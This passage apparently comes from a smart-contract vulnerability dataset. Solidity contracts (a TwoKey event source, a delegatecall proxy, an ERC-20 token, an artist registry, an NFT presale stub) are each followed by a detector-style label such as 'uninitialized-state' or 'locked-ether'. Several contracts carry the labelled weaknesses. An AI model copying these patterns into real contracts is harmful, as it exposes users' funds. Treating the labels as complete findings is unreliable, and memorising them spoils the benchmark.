function getUintArray(bytes32 _key) external view returns (uint[]);
function getIntArray(bytes32 _key) external view returns (int[]);
function getBoolArray(bytes32 _key) external view returns (bool[]);
// *** Setter Methods ***
function setUint(bytes32 _key, uint _value) external;
function setString(bytes32 _key, string _value) external;
function setAddress(bytes32 _key, address _value) external;
function setBytes(bytes32 _key, bytes _value) external;
function setBool(bytes32 _key, bool _value) external;
function setInt(bytes32 _key, int _value) external;
function setBytes32(bytes32 _key, bytes32 _value) external;
// *** Setter Methods For Arrays ***
function setBytes32Array(bytes32 _key, bytes32[] _value) external;
function setAddressArray(bytes32 _key, address[] _value) external;
function setUintArray(bytes32 _key, uint[] _value) external;
function setIntArray(bytes32 _key, int[] _value) external;
function setBoolArray(bytes32 _key, bool[] _value) external;
// *** Delete Methods ***
function deleteUint(bytes32 _key) external;
function deleteString(bytes32 _key) external;
function deleteAddress(bytes32 _key) external;
function deleteBytes(bytes32 _key) external;
function deleteBool(bytes32 _key) external;
function deleteInt(bytes32 _key) external;
function deleteBytes32(bytes32 _key) external;
}
contract ITwoKeyAdmin {
function getDefaultIntegratorFeePercent() public view returns (uint);
function getDefaultNetworkTaxPercent() public view returns (uint);
function getTwoKeyRewardsReleaseDate() external view returns(uint);
function updateReceivedTokensAsModerator(uint amountOfTokens) public;
function updateReceivedTokensAsModeratorPPC(uint amountOfTokens, address campaignPlasma) public;
function addFeesCollectedInCurrency(string currency, uint amount) public payable;
function updateTokensReceivedFromDistributionFees(uint amountOfTokens) public;
}
contract ITwoKeyCampaignValidator {
function isCampaignValidated(address campaign) public view returns (bool);
function validateAcquisitionCampaign(address campaign, string nonSingletonHash) public;
function validateDonationCampaign(address campaign, address donationConversionHandler, address donationLogicHandler, string nonSingletonHash) public;
function validateCPCCampaign(address campaign, string nonSingletonHash) public;
}
contract ITwoKeyFeeManager {
function payDebtWhenConvertingOrWithdrawingProceeds(address _plasmaAddress, uint _debtPaying) public payable;
function getDebtForUser(address _userPlasma) public view returns (uint);
function payDebtWithDAI(address _plasmaAddress, uint _totalDebt, uint _debtPaid) public;
function payDebtWith2Key(address _beneficiaryPublic, address _plasmaAddress, uint _amountOf2keyForRewards) public;
function payDebtWith2KeyV2(
address _beneficiaryPublic,
address _plasmaAddress,
uint _amountOf2keyForRewards,
address _twoKeyEconomy,
address _twoKeyAdmin
) public;
function setRegistrationFeeForUser(address _plasmaAddress, uint _registrationFee) public;
function addDebtForUser(address _plasmaAddress, uint _debtAmount, string _debtType) public;
function withdrawEtherCollected() public returns (uint);
function withdraw2KEYCollected() public returns (uint);
function withdrawDAICollected(address _dai) public returns (uint);
}
contract ITwoKeyMaintainersRegistry {
function checkIsAddressMaintainer(address _sender) public view returns (bool);
function checkIsAddressCoreDev(address _sender) public view returns (bool);
function addMaintainers(address [] _maintainers) public;
function addCoreDevs(address [] _coreDevs) public;
function removeMaintainers(address [] _maintainers) public;
function removeCoreDevs(address [] _coreDevs) public;
}
contract ITwoKeyReg {
function addTwoKeyEventSource(address _twoKeyEventSource) public;
function changeTwoKeyEventSource(address _twoKeyEventSource) public;
function addWhereContractor(address _userAddress, address _contractAddress) public;
function addWhereModerator(address _userAddress, address _contractAddress) public;
function addWhereReferrer(address _userAddress, address _contractAddress) public;
function addWhereConverter(address _userAddress, address _contractAddress) public;
function getContractsWhereUserIsContractor(address _userAddress) public view returns (address[]);
function getContractsWhereUserIsModerator(address _userAddress) public view returns (address[]);
function getContractsWhereUserIsRefferer(address _userAddress) public view returns (address[]);
function getContractsWhereUserIsConverter(address _userAddress) public view returns (address[]);
function getTwoKeyEventSourceAddress() public view returns (address);
function addName(string _name, address _sender, string _fullName, string _email, bytes signature) public;
function addNameByUser(string _name) public;
function getName2Owner(string _name) public view returns (address);
function getOwner2Name(address _sender) public view returns (string);
function getPlasmaToEthereum(address plasma) public view returns (address);
function getEthereumToPlasma(address ethereum) public view returns (address);
function checkIfTwoKeyMaintainerExists(address _maintainer) public view returns (bool);
function getUserData(address _user) external view returns (bytes);
}
contract ITwoKeySingletoneRegistryFetchAddress {
function getContractProxyAddress(string _contractName) public view returns (address);
function getNonUpgradableContractAddress(string contractName) public view returns (address);
function getLatestCampaignApprovedVersion(string campaignType) public view returns (string);
}
interface ITwoKeySingletonesRegistry {
/**
* @dev This event will be emitted every time a new proxy is created
* @param proxy representing the address of the proxy created
*/
event ProxyCreated(address proxy);
/**
* @dev This event will be emitted every time a new implementation is registered
* @param version representing the version name of the registered implementation
* @param implementation representing the address of the registered implementation
* @param contractName is the name of the contract we added new version
*/
event VersionAdded(string version, address implementation, string contractName);
/**
* @dev Registers a new version with its implementation address
* @param version representing the version name of the new implementation to be registered
* @param implementation representing the address of the new implementation to be registered
*/
function addVersion(string _contractName, string version, address implementation) public;
/**
* @dev Tells the address of the implementation for a given version
* @param _contractName is the name of the contract we're querying
* @param version to query the implementation of
* @return address of the implementation registered for the given version
*/
function getVersion(string _contractName, string version) public view returns (address);
}
contract ITwoKeyEventSourceStorage is IStructuredStorage {
}
contract ITwoKeySingletonUtils {
address public TWO_KEY_SINGLETON_REGISTRY;
// Modifier to restrict method calls only to maintainers
modifier onlyMaintainer {
address twoKeyMaintainersRegistry = getAddressFromTwoKeySingletonRegistry("TwoKeyMaintainersRegistry");
require(ITwoKeyMaintainersRegistry(twoKeyMaintainersRegistry).checkIsAddressMaintainer(msg.sender));
_;
}
/**
* @notice Function to get any singleton contract proxy address from TwoKeySingletonRegistry contract
* @param contractName is the name of the contract we're looking for
*/
function getAddressFromTwoKeySingletonRegistry(
string contractName
)
internal
view
returns (address)
{
return ITwoKeySingletoneRegistryFetchAddress(TWO_KEY_SINGLETON_REGISTRY)
.getContractProxyAddress(contractName);
}
function getNonUpgradableContractAddressFromTwoKeySingletonRegistry(
string contractName
)
internal
view
returns (address)
{
return ITwoKeySingletoneRegistryFetchAddress(TWO_KEY_SINGLETON_REGISTRY)
.getNonUpgradableContractAddress(contractName);
}
}
contract UpgradeabilityStorage {
// Versions registry
ITwoKeySingletonesRegistry internal registry;
// Address of the current implementation
address internal _implementation;
/**
* @dev Tells the address of the current implementation
* @return address of the current implementation
*/
function implementation() public view returns (address) {
return _implementation;
}
}
contract Upgradeable is UpgradeabilityStorage {
/**
* @dev Validates the caller is the versions registry.
* @param sender representing the address deploying the initial behavior of the contract
*/
function initialize(address sender) public payable {
require(msg.sender == address(registry));
}
}
contract TwoKeyEventSource is Upgradeable, ITwoKeySingletonUtils {
bool initialized;
ITwoKeyEventSourceStorage public PROXY_STORAGE_CONTRACT;
string constant _twoKeyCampaignValidator = "TwoKeyCampaignValidator";
string constant _twoKeyFactory = "TwoKeyFactory";
string constant _twoKeyRegistry = "TwoKeyRegistry";
string constant _twoKeyAdmin = "TwoKeyAdmin";
string constant _twoKeyExchangeRateContract = "TwoKeyExchangeRateContract";
string constant _twoKeyMaintainersRegistry = "TwoKeyMaintainersRegistry";
string constant _deepFreezeTokenPool = "TwoKeyDeepFreezeTokenPool";
/**
* Modifier which will allow only completely verified and validated contracts to call some functions
*/
modifier onlyAllowedContracts {
address twoKeyCampaignValidator = getAddressFromTwoKeySingletonRegistry(_twoKeyCampaignValidator);
require(ITwoKeyCampaignValidator(twoKeyCampaignValidator).isCampaignValidated(msg.sender) == true);
_;
}
/**
* Modifier which will allow only TwoKeyCampaignValidator to make some calls
*/
modifier onlyTwoKeyCampaignValidator {
address twoKeyCampaignValidator = getAddressFromTwoKeySingletonRegistry(_twoKeyCampaignValidator);
require(msg.sender == twoKeyCampaignValidator);
_;
}
/**
* @notice Function to set initial params in the contract
* @param _twoKeySingletonesRegistry is the address of TWO_KEY_SINGLETON_REGISTRY contract
* @param _proxyStorage is the address of proxy of storage contract
*/
function setInitialParams(
address _twoKeySingletonesRegistry,
address _proxyStorage
)
external
{
require(initialized == false);
TWO_KEY_SINGLETON_REGISTRY = _twoKeySingletonesRegistry;
PROXY_STORAGE_CONTRACT = ITwoKeyEventSourceStorage(_proxyStorage);
initialized = true;
}
/**
* Events which will be emitted during use of system
* All events are emitted from this contract
* Every event is monitored in GraphQL
*/
event Created(
address _campaign,
address _owner,
address _moderator
);
event Joined(
address _campaign,
address _from,
address _to
);
event Converted(
address _campaign,
address _converter,
uint256 _amount
);
event ConvertedAcquisition(
address _campaign,
address _converterPlasma,
uint256 _baseTokens,
uint256 _bonusTokens,
uint256 _conversionAmount,
bool _isFiatConversion,
uint _conversionId
);
event ConvertedDonation(
address _campaign,
address _converterPlasma,
uint _conversionAmount,
uint _conversionId
);
event Rewarded(
address _campaign,
address _to,
uint256 _amount
);
event Cancelled(
address _campaign,
address _converter,
uint256 _indexOrAmount
);
event Rejected(
address _campaign,
address _converter
);
event UpdatedPublicMetaHash(
uint timestamp,
string value
);
event UpdatedData(
uint timestamp,
uint value,
string action
);
event ReceivedEther(
address _sender,
uint value
);
event AcquisitionCampaignCreated(
address proxyLogicHandler,
address proxyConversionHandler,
address proxyAcquisitionCampaign,
address proxyPurchasesHandler,
address contractor
);
event DonationCampaignCreated(
address proxyDonationCampaign,
address proxyDonationConversionHandler,
address proxyDonationLogicHandler,
address contractor
);
event CPCCampaignCreated(
address proxyCPCCampaign,
address contractor //Contractor public address
);
event PriceUpdated(
bytes32 _currency,
uint newRate,
uint _timestamp,
address _updater
);
event UserRegistered(
string _handle,
address _address
);
event Executed(
address campaignAddress,
address converterPlasmaAddress,
uint conversionId,
uint tokens
);
event TokenWithdrawnFromPurchasesHandler(
address campaignAddress,
uint conversionID,
uint tokensAmountWithdrawn
);
event Debt (
address plasmaAddress,
uint weiAmount,
bool addition, //If true means debt increasing otherwise it means that event emitted when user paid part of the debt
string currency
);
event ReceivedTokensAsModerator(
address campaignAddress,
uint amountOfTokens
);
event ReceivedTokensDeepFreezeTokenPool(
address campaignAddress,
uint amountOfTokens
);
event HandleChanged(
address userPlasmaAddress,
string newHandle
);
event DaiReleased(
address contractSenderAddress,
uint amountOfDAI
);
event RebalancedRatesEvent (
uint priceAtBeginning,
uint priceAtRebalancingTime,
uint ratio,
uint amountOfTokensTransferedInAction,
string actionPerformedWithUpgradableExchange
);
event EndedBudgetCampaign (
address campaignPlasmaAddress,
uint contractorLeftover,
uint moderatorEarningsDistributed
);
event RebalancedRewards(
uint cycleId,
uint amountOfTokens,
string action
);
event UserWithdrawnNetworkEarnings(
address user,
uint amountOfTokens
);
/**
* @notice Function to emit created event every time campaign is created
* @param _campaign is the address of the deployed campaign
* @param _owner is the contractor address of the campaign
* @param _moderator is the address of the moderator in campaign
* @dev this function updates values in TwoKeyRegistry contract
*/
function created(
address _campaign,
address _owner,
address _moderator
)
external
onlyTwoKeyCampaignValidator
{
emit Created(_campaign, _owner, _moderator);
}
/**
* @notice Function to emit created event every time someone has joined to campaign
* @param _campaign is the address of the deployed campaign
* @param _from is the address of the referrer
* @param _to is the address of person who has joined
* @dev this function updates values in TwoKeyRegistry contract
*/
function joined(
address _campaign,
address _from,
address _to
)
external
onlyAllowedContracts
{
emit Joined(_campaign, _from, _to);
}
/**
* @notice Function to emit converted event
* @param _campaign is the address of main campaign contract
* @param _converter is the address of converter during the conversion
* @param _conversionAmount is conversion amount
*/
function converted(
address _campaign,
address _converter,
uint256 _conversionAmount
)
external
onlyAllowedContracts
{
emit Converted(_campaign, _converter, _conversionAmount);
}
function rejected(
address _campaign,
address _converter
)
external
onlyAllowedContracts
{
emit Rejected(_campaign, _converter);
}
/**
* @notice Function to emit event every time conversion gets executed
* @param _campaignAddress is the main campaign contract address
* @param _converterPlasmaAddress is the address of converter plasma
* @param _conversionId is the ID of conversion, unique per campaign
*/
function executed(
address _campaignAddress,
address _converterPlasmaAddress,
uint _conversionId,
uint tokens
)
external
onlyAllowedContracts
{
emit Executed(_campaignAddress, _converterPlasmaAddress, _conversionId, tokens);
}
/**
* @notice Function to emit created event every time conversion happened under AcquisitionCampaign
* @param _campaign is the address of the deployed campaign
* @param _converterPlasma is the converter address
* @param _baseTokens is the amount of tokens bought
* @param _bonusTokens is the amount of bonus tokens received
* @param _conversionAmount is the amount of conversion
* @param _isFiatConversion is flag representing if conversion is either FIAT or ETHER
* @param _conversionId is the id of conversion
* @dev this function updates values in TwoKeyRegistry contract
*/
function convertedAcquisition(
address _campaign,
address _converterPlasma,
uint256 _baseTokens,
uint256 _bonusTokens,
uint256 _conversionAmount,
bool _isFiatConversion,
uint _conversionId
)
external
onlyAllowedContracts
{
emit ConvertedAcquisition(
_campaign,
_converterPlasma,
_baseTokens,
_bonusTokens,
_conversionAmount,
_isFiatConversion,
_conversionId
);
}
/**
* @notice Function to emit created event every time conversion happened under DonationCampaign
* @param _campaign is the address of main campaign contract
* @param _converterPlasma is the address of the converter
* @param _conversionAmount is the amount of conversion
* @param _conversionId is the id of conversion
*/
function convertedDonation(
address _campaign,
address _converterPlasma,
uint256 _conversionAmount,
uint256 _conversionId
)
external
onlyAllowedContracts
{
emit ConvertedDonation(
_campaign,
_converterPlasma,
_conversionAmount,
_conversionId
);
}
/**
* @notice Function to emit created event every time bounty is distributed between influencers
* @param _campaign is the address of the deployed campaign
* @param _to is the reward receiver
* @param _amount is the reward amount
*/
function rewarded(
address _campaign,
address _to,
uint256 _amount
)
external
onlyAllowedContracts
{
emit Rewarded(_campaign, _to, _amount);
}
/**
* @notice Function to emit created event every time campaign is cancelled
* @param _campaign is the address of the cancelled campaign
* @param _converter is the address of the converter
* @param _indexOrAmount is the amount of campaign
*/
function cancelled(
address _campaign,
address _converter,
uint256 _indexOrAmount
)
external
onlyAllowedContracts
{
emit Cancelled(_campaign, _converter, _indexOrAmount);
}
/**
* @notice Function to emit event every time someone starts new Acquisition campaign
* @param proxyLogicHandler is the address of TwoKeyAcquisitionLogicHandler proxy deployed by TwoKeyFactory
* @param proxyConversionHandler is the address of TwoKeyConversionHandler proxy deployed by TwoKeyFactory
* @param proxyAcquisitionCampaign is the address of TwoKeyAcquisitionCampaign proxy deployed by TwoKeyFactory
* @param proxyPurchasesHandler is the address of TwoKeyPurchasesHandler proxy deployed by TwoKeyFactory
*/
function acquisitionCampaignCreated(
address proxyLogicHandler,
address proxyConversionHandler,
address proxyAcquisitionCampaign,
address proxyPurchasesHandler,
address contractor
)
external
{
require(msg.sender == getAddressFromTwoKeySingletonRegistry(_twoKeyFactory));
emit AcquisitionCampaignCreated(
proxyLogicHandler,
proxyConversionHandler,
proxyAcquisitionCampaign,
proxyPurchasesHandler,
contractor
);
}
/**
* @notice Function to emit event every time someone starts new Donation campaign
* @param proxyDonationCampaign is the address of TwoKeyDonationCampaign proxy deployed by TwoKeyFactory
* @param proxyDonationConversionHandler is the address of TwoKeyDonationConversionHandler proxy deployed by TwoKeyFactory
* @param proxyDonationLogicHandler is the address of TwoKeyDonationLogicHandler proxy deployed by TwoKeyFactory
*/
function donationCampaignCreated(
address proxyDonationCampaign,
address proxyDonationConversionHandler,
address proxyDonationLogicHandler,
address contractor
)
external
{
require(msg.sender == getAddressFromTwoKeySingletonRegistry(_twoKeyFactory));
emit DonationCampaignCreated(
proxyDonationCampaign,
proxyDonationConversionHandler,
proxyDonationLogicHandler,
contractor
);
}
/**
* @notice Function to emit event every time someone starts new CPC campaign
* @param proxyCPC is the proxy address of CPC campaign
* @param contractor is the PUBLIC address of campaign contractor
*/
function cpcCampaignCreated(
address proxyCPC,
address contractor
)
external
{
require(msg.sender == getAddressFromTwoKeySingletonRegistry(_twoKeyFactory));
emit CPCCampaignCreated(
proxyCPC,
contractor
);
}
/**
* @notice Function which will emit event PriceUpdated every time that happens under TwoKeyExchangeRateContract
* @param _currency is the hexed string of currency name
* @param _newRate is the new rate
* @param _timestamp is the time of updating
* @param _updater is the maintainer address which performed this call
*/
function priceUpdated(
bytes32 _currency,
uint _newRate,
uint _timestamp,
address _updater
)
external
{
require(msg.sender == getAddressFromTwoKeySingletonRegistry(_twoKeyExchangeRateContract));
emit PriceUpdated(_currency, _newRate, _timestamp, _updater);
}
/**
* @notice Function to emit event every time user is registered
* @param _handle is the handle of the user
* @param _address is the address of the user
*/
function userRegistered(
string _handle,
address _address,
uint _registrationFee
)
external
{
require(isAddressMaintainer(msg.sender) == true);
ITwoKeyFeeManager(getAddressFromTwoKeySingletonRegistry("TwoKeyFeeManager")).setRegistrationFeeForUser(_address, _registrationFee);
emit UserRegistered(_handle, _address);
emit Debt(_address, _registrationFee, true, "ETH");
}
function addAdditionalDebtForUser(
address _plasmaAddress,
uint _debtAmount,
string _debtType
)
public
{
require(isAddressMaintainer(msg.sender) == true);
ITwoKeyFeeManager(getAddressFromTwoKeySingletonRegistry("TwoKeyFeeManager")).addDebtForUser(_plasmaAddress, _debtAmount, _debtType);
emit Debt(_plasmaAddress, _debtAmount, true, "ETH");
}
/**
* @notice Function which will emit every time some debt is increased or paid
* @param _plasmaAddress is the address of the user we are increasing/decreasing debt for
* @param _amount is the amount of ETH he paid/increased
* @param _isAddition is stating either debt increased or paid
*/
function emitDebtEvent(
address _plasmaAddress,
uint _amount,
bool _isAddition,
string _currency
)
external
{
require(msg.sender == getAddressFromTwoKeySingletonRegistry("TwoKeyFeeManager"));
emit Debt(
_plasmaAddress,
_amount,
_isAddition,
_currency
);
}
/**
* @notice Function which will be called by TwoKeyAdmin every time it receives 2KEY tokens
* as a moderator on TwoKeyCampaigns
* @param _campaignAddress is the address of the campaign sending tokens
* @param _amountOfTokens is the amount of tokens sent
*/
function emitReceivedTokensAsModerator(
address _campaignAddress,
uint _amountOfTokens
)
public
{
require(msg.sender == getAddressFromTwoKeySingletonRegistry(_twoKeyAdmin));
emit ReceivedTokensAsModerator(
_campaignAddress,
_amountOfTokens
);
}
/**
* @notice Function which will be called by TwoKeyDeepFreezeTokenPool every time it receives 2KEY tokens
* from moderator rewards on the conversion event
* @param _campaignAddress is the address of the campaign sending tokens
* @param _amountOfTokens is the amount of tokens sent
*/
function emitReceivedTokensToDeepFreezeTokenPool(
address _campaignAddress,
uint _amountOfTokens
)
public
{
require(msg.sender == getAddressFromTwoKeySingletonRegistry(_deepFreezeTokenPool));
emit ReceivedTokensDeepFreezeTokenPool(
_campaignAddress,
_amountOfTokens
);
}
/**
* @notice Function which will emit an event every time somebody performs
* withdraw of bought tokens in AcquisitionCampaign contracts
* @param _campaignAddress is the address of main campaign contract
* @param _conversionID is the unique ID of conversion inside one campaign
* @param _tokensAmountWithdrawn is the amount of tokens user withdrawn
*/
function tokensWithdrawnFromPurchasesHandler(
address _campaignAddress,
uint _conversionID,
uint _tokensAmountWithdrawn
)
external
onlyAllowedContracts
{
emit TokenWithdrawnFromPurchasesHandler(_campaignAddress, _conversionID, _tokensAmountWithdrawn);
}
function emitRebalancedRatesEvent(
uint priceAtBeginning,
uint priceAtRebalancingTime,
uint ratio,
uint amountOfTokensTransferedInAction,
string actionPerformedWithUpgradableExchange
)
external
onlyAllowedContracts
{
emit RebalancedRatesEvent(
priceAtBeginning,
priceAtRebalancingTime,
ratio,
amountOfTokensTransferedInAction,
actionPerformedWithUpgradableExchange
);
}
function emitHandleChangedEvent(
address _userPlasmaAddress,
string _newHandle
)
public
{
require(msg.sender == getAddressFromTwoKeySingletonRegistry("TwoKeyRegistry"));
emit HandleChanged(
_userPlasmaAddress,
_newHandle
);
}
/**
* @notice Function to emit an event whenever DAI is released as an income
*
* @param _campaignContractAddress is campaign contract address
* @param _amountOfDAI is the amount of DAI being released
*/
function emitDAIReleasedAsIncome(
address _campaignContractAddress,
uint _amountOfDAI
)
public
{
require(msg.sender == getAddressFromTwoKeySingletonRegistry("TwoKeyUpgradableExchange"));
emit DaiReleased(
_campaignContractAddress,
_amountOfDAI
);
}
function emitEndedBudgetCampaign(
address campaignPlasmaAddress,
uint contractorLeftover,
uint moderatorEarningsDistributed
)
public
{
require (msg.sender == getAddressFromTwoKeySingletonRegistry("TwoKeyBudgetCampaignsPaymentsHandler"));
emit EndedBudgetCampaign(
campaignPlasmaAddress,
contractorLeftover,
moderatorEarningsDistributed
);
}
function emitRebalancedRewards(
uint cycleId,
uint difference,
string action
)
public
{
require (msg.sender == getAddressFromTwoKeySingletonRegistry("TwoKeyBudgetCampaignsPaymentsHandler"));
emit RebalancedRewards(
cycleId,
difference,
action
);
}
/**
* @notice Function which will emit event that user have withdrawn network earnings
* @param user is the address of the user
* @param amountOfTokens is the amount of tokens user withdrawn as network earnings
*/
function emitUserWithdrawnNetworkEarnings(
address user,
uint amountOfTokens
)
public
{
require(msg.sender == getAddressFromTwoKeySingletonRegistry("TwoKeyParticipationMiningPool"));
emit UserWithdrawnNetworkEarnings(
user,
amountOfTokens
);
}
/**
* @notice Function to check adequate plasma address for submitted eth address
* @param me is the ethereum address we request corresponding plasma address for
*/
function plasmaOf(
address me
)
public
view
returns (address)
{
address twoKeyRegistry = getAddressFromTwoKeySingletonRegistry(_twoKeyRegistry);
address plasma = ITwoKeyReg(twoKeyRegistry).getEthereumToPlasma(me);
if (plasma != address(0)) {
return plasma;
}
return me;
}
/**
* @notice Function to determine ethereum address of plasma address
* @param me is the plasma address of the user
* @return ethereum address
*/
function ethereumOf(
address me
)
public
view
returns (address)
{
address twoKeyRegistry = getAddressFromTwoKeySingletonRegistry(_twoKeyRegistry);
address ethereum = ITwoKeyReg(twoKeyRegistry).getPlasmaToEthereum(me);
if (ethereum != address(0)) {
return ethereum;
}
return me;
}
/**
* @notice Address to check if an address is maintainer in TwoKeyMaintainersRegistry
* @param _maintainer is the address we're checking this for
*/
function isAddressMaintainer(
address _maintainer
)
public
view
returns (bool)
{
address twoKeyMaintainersRegistry = getAddressFromTwoKeySingletonRegistry(_twoKeyMaintainersRegistry);
bool _isMaintainer = ITwoKeyMaintainersRegistry(twoKeyMaintainersRegistry).checkIsAddressMaintainer(_maintainer);
return _isMaintainer;
}
/**
* @notice In default TwoKeyAdmin will be moderator and his fee percentage per conversion is predefined
*/
function getTwoKeyDefaultIntegratorFeeFromAdmin()
public
view
returns (uint)
{
address twoKeyAdmin = getAddressFromTwoKeySingletonRegistry(_twoKeyAdmin);
uint integratorFeePercentage = ITwoKeyAdmin(twoKeyAdmin).getDefaultIntegratorFeePercent();
return integratorFeePercentage;
}
/**
* @notice Function to get default network tax percentage
*/
function getTwoKeyDefaultNetworkTaxPercent()
public
view
returns (uint)
{
address twoKeyAdmin = getAddressFromTwoKeySingletonRegistry(_twoKeyAdmin);
uint networkTaxPercent = ITwoKeyAdmin(twoKeyAdmin).getDefaultNetworkTaxPercent();
return networkTaxPercent;
}
}
| These are the vulnerabilities found
1) uninitialized-state with High impact
2) locked-ether with Medium impact |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
contract executor {
address public owner;
address public implementation;
modifier onlyOwner {
require(owner==msg.sender,"Go away");
_;
}
constructor() {
owner = msg.sender;
}
function setImplementation(address _imp) public onlyOwner {
implementation = _imp;
}
function _delegate(address _imp) internal virtual {
assembly {
// calldatacopy(t, f, s)
// copy s bytes from calldata at position f to mem at position t
calldatacopy(0, 0, calldatasize())
// delegatecall(g, a, in, insize, out, outsize)
// - call contract at address a
// - with input mem[in…(in+insize))
// - providing g gas
// - and output area mem[out…(out+outsize))
// - returning 0 on error and 1 on success
let result := delegatecall(gas(), _imp, 0, calldatasize(), 0, 0)
// returndatacopy(t, f, s)
// copy s bytes from returndata at position f to mem at position t
returndatacopy(0, 0, returndatasize())
switch result
case 0 {
// revert(p, s)
// end execution, revert state changes, return data mem[p…(p+s))
revert(0, returndatasize())
}
default {
// return(p, s)
// end execution, return data mem[p…(p+s))
return(0, returndatasize())
}
}
}
fallback() external payable {
_delegate(implementation);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.4.16;
contract Token {
/// @return total amount of tokens
function totalSupply() constant returns (uint256 supply) {}
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance) {}
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success) {}
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success) {}
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
//Default assumes totalSupply can't be over max (2^256 - 1).
//If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap.
//Replace the if with this one instead.
//if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
//same as above. Replace this line with the following if you want to protect against wrapping uints.
//if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
//name this contract whatever you'd like
contract Csts is StandardToken {
function () {
//if ether is sent to this address, send it back.
throw;
}
/* Public variables of the token */
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
string public name; //fancy name: eg Simon Bucks
uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether.
string public symbol; //An identifier: eg SBX
string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme.
function Csts(
) {
balances[msg.sender] = 17000000000000000000000000000;
totalSupply = 17000000000000000000000000000;
name = "Csandts"; // Set the name for display purposes
decimals = 18; // Amount of decimals for display purposes
symbol = "Csts"; // Set the symbol for display purposes
}
/* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
//call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this.
//receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)
//it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead.
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} | No vulnerabilities found |
pragma solidity ^0.5.0;
interface TeamInterface {
function isOwner() external view returns (bool);
function isAdmin(address _sender) external view returns (bool);
function isDev(address _sender) external view returns (bool);
}
/**
* @title Artist Contract
* @dev http://www.puzzlebid.com/
* @author PuzzleBID Game Team
* @dev Simon<vsiryxm@163.com>
*/
contract Artist {
TeamInterface private team;
mapping(bytes32 => address payable) private artists;
constructor(address _teamAddress) public {
require(_teamAddress != address(0));
team = TeamInterface(_teamAddress);
}
function() external payable {
revert();
}
event OnUpgrade(address indexed _teamAddress);
event OnAdd(bytes32 _artistID, address indexed _address);
event OnUpdateAddress(bytes32 _artistID, address indexed _address);
modifier onlyAdmin() {
require(team.isAdmin(msg.sender));
_;
}
function upgrade(address _teamAddress) external onlyAdmin() {
require(_teamAddress != address(0));
team = TeamInterface(_teamAddress);
emit OnUpgrade(_teamAddress);
}
function getAddress(bytes32 _artistID) external view returns (address payable) {
return artists[_artistID];
}
function add(bytes32 _artistID, address payable _address) external onlyAdmin() {
require(this.hasArtist(_artistID) == false);
artists[_artistID] = _address;
emit OnAdd(_artistID, _address);
}
function hasArtist(bytes32 _artistID) external view returns (bool) {
return artists[_artistID] != address(0);
}
function updateAddress(bytes32 _artistID, address payable _address) external onlyAdmin() {
require(artists[_artistID] != address(0) && _address != address(0));
artists[_artistID] = _address;
emit OnUpdateAddress(_artistID, _address);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
// SPDX-License-Identifier: MIT
// Developed by itxToledo
pragma solidity 0.8.11;
import "@openzeppelin/contracts/access/Ownable.sol";
/**
* @notice Represents CriptoMentor Smart Contract
*/
contract INFTERC721 {
/**
* @dev ERC-721 INTERFACE
*/
function ownerOf(uint256 tokenId) public view virtual returns (address) {}
/**
* @dev CUSTOM INTERFACE
*/
function mintTo(uint256 amount, address _to) external {}
function maxMintPerTransaction() public returns (uint256) {}
}
/**
* @title NFTPreSaleContract.
*
* @author itxToledo
*
* @notice This Smart Contract can be used to sell any fixed amount of NFTs where only permissioned
* wallets are allowed to buy. Buying is limited to a certain time period.
*
*/
contract NFTPreSale is Ownable {
/**
* @notice The Smart Contract of the NFT being sold
* @dev ERC-721 Smart Contract
*/
INFTERC721 public immutable nft;
/**
